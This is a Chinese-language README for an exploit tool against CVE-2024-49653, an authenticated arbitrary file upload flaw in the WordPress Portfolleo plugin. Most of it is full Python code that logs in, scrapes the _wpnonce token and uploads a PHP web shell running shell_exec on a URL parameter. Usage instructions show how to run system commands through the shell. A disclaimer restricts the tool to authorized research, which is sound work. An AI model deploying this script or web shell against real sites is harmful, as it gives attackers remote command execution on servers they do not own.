🚀 WordPress Portfolleo Plugin Exploit (CVE-2024-49653)
本项目提供了一个完整的漏洞利用工具,用于检测和利用 WordPress Portfolleo 插件 <= 1.2 中的任意文件上传漏洞。经过身份验证的攻击者可以上传一个恶意的 Web Shell,进而获得服务器远程执行命令的能力。
✨ 功能特性
- 自动身份验证:支持通过 WordPress 用户名和密码登录后台
- 防伪标记自动提取 :自动解析页面,获取
_wpnonce防伪标记 - 任意文件上传:利用插件漏洞上传 PHP Web Shell
- 命令执行:通过上传的 Shell 可执行系统命令
- 简单易用:命令行参数清晰,使用便捷
📦 安装指南
系统要求
- Python 3.6 或更高版本
- 拥有 WordPress 后台有效账户
安装依赖
使用 pip 安装所需的 Python 库:
bash
pip install requests beautifulsoup4
获取脚本
将本项目中的 CVE-2024-49653.py 脚本保存到本地即可使用。
🛠️ 使用说明
基本用法
bash
python CVE-2024-49653.py -u <网站地址> -U <用户名> -p <密码>
参数说明
| 参数 | 说明 |
|---|---|
-u, --url |
WordPress 站点的基础 URL(例如 http://target.com/wordpress) |
-U, --username |
WordPress 后台登录用户名 |
-p, --password |
WordPress 后台登录密码 |
-h, --help |
显示帮助信息 |
使用示例
bash
python CVE-2024-49653.py -u http://192.168.100.74:888/wordpress -U admin -P mypassword123
预期输出
成功利用漏洞后,您将看到类似以下的输出:
less
[+] Logged in successfully.
[+] Extracted _wpnonce: e5f7ffa134
[+] Shell has been uploaded.
[*] Check the shell here: http://target.com/wp-content/portfolleo/nxploit.php
使用上传的 Shell
上传成功后,可以通过以下方式执行系统命令:
bash
http://target.com/wp-content/portfolleo/nxploit.php?cmd=whoami
💻 核心代码
主程序入口与参数解析
python
def parse_arguments():
parser = argparse.ArgumentParser(description="WordPress Portfolleo plugin <= 1.2 - Arbitrary File Upload vulnerability # by Khaled Alenazi")
parser.add_argument('-u', '--url', required=True, help='Base URL of the site (e.g. http://192.168.100.74:888/wordpress)')
parser.add_argument('-U', '--username', dest='username', required=True, help='WordPress username')
parser.add_argument('-p', '--password', required=True, help='WordPress password')
return parser.parse_args()
创建会话与后台登录
python
def create_session():
session = requests.Session()
requests.packages.urllib3.disable_warnings()
session.verify = False
return session
def login(session, url, username, password):
login_url = f"{url}/wp-login.php"
login_data = {
'log': username,
'pwd': password,
'rememberme': 'forever',
'wp-submit': 'Log In'
}
response = session.post(login_url, data=login_data, headers={"User-Agent": "Mozilla/5.0"})
return response
def check_login(session):
return any('wordpress_logged_in' in cookie.name for cookie in session.cookies)
提取 _wpnonce 防伪标记
python
def get_nonce(session, url, portfolio_path):
portfolio_url = f"{url}/{portfolio_path}"
response = session.get(portfolio_url, headers={"User-Agent": "Mozilla/5.0"})
soup = BeautifulSoup(response.text, 'html.parser')
return soup.find('input', {'name': '_wpnonce'})['value']
漏洞利用与 Web Shell 上传
python
def upload_shell(session, url, nonce, portfolio_path):
shell_file = {
'fileupload': ('nxploit.php', '<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>', 'application/x-php')
}
form_data = {
'_wpnonce': nonce,
'_wp_http_referer': f'/{portfolio_path}',
'name': 'profile',
'dob': '23/03/2025',
'desc': 'Im Nxploited , Khaled Alenazi',
'action': 'update',
'page_options': 'name,dob,desc,datafile',
'submit': 'Add To Portfolio'
}
upload_url = f"{url}/wp-admin/options.php"
response = session.post(upload_url, headers={"User-Agent": "Mozilla/5.0"}, files=shell_file, data=form_data)
return response
完整主函数逻辑
python
def main():
args = parse_arguments()
session = create_session()
response = login(session, args.url, args.username, args.password)
if check_login(session):
print("[+] Logged in successfully.")
else:
print("[-] Failed to log in.")
exit()
portfolio_path = "wp-admin/admin.php?page=portfolleo"
nonce = get_nonce(session, args.url, portfolio_path)
print(f"[+] Extracted _wpnonce: {nonce}")
response = upload_shell(session, args.url, nonce, portfolio_path)
print("[+] Shell has been uploaded.")
print("[*] Check the shell here: {}/wp-content/portfolleo/nxploit.php".format(args.url))
if __name__ == "__main__":
main()
⚠️ 免责声明
本工具仅供安全研究和教育用途。使用此工具进行任何未经授权的访问或破坏活动均为违法行为。使用者需自行承担全部法律责任,作者不对任何滥用行为负责。请仅在获得明确授权的系统上使用本工具。 6HFtX5dABrKlqXeO5PUv/7mATt604kk9CTxbcj7G2fI=